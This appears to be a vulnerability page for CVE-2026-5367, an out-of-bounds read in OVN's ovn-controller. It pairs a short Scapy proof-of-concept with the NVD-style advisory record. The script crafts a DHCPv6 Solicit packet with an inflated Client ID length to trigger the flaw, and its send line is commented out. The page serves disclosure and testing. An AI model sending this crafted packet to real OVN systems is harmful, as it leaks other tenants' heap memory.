CVE-2026-5367

from scapy.all import * from scapy.layers.inet6 import DHCP6_Solicit, DHCP6OptClientId, IPv6, UDP, Ether # Target configuration target_mac = "00:11:22:33:44:55" src_mac = "aa:bb:cc:dd:ee:ff" # Construct malicious DHCPv6 Solicit packet # The vulnerability is triggered by an inflated Client ID length malicious_client_id = DHCP6OptClientId(optlen=0xFFFF) # Assemble the packet pkt = Ether(src=src_mac, dst=target_mac) / \ IPv6(src="::", dst="ff02::1:2") / \ UDP(sport=546, dport=547) / \ DHCP6_Solicit(trid=12345, options=[malicious_client_id]) # Send packet to trigger the out-of-bounds read # sendp(pkt, iface="eth0") print("[+] Malicious DHCPv6 packet generated for CVE-2026-5367")

{"cve": {"id": "CVE-2026-5367", "sourceIdentifier": "[email protected]", "published": "2026-04-24T13:16:21.990", "lastModified": "2026-04-29T18:16:04.980", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in OVN (Open Virtual Network). A remote attacker, by sending crafted DHCPv6 (Dynamic Host Configuration Protocol for IPv6) SOLICIT packets with an inflated Client ID length, could cause the ovn-controller to read beyond the bounds of a packet. This out-of-bounds read can lead to the disclosure of sensitive information stored in heap memory, which is then returned to the attacker's virtual machine port."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-130"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:11694", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11695", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11696", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11698", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11700", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11701", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11702", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-5367", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455863", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/20/3", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/20/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}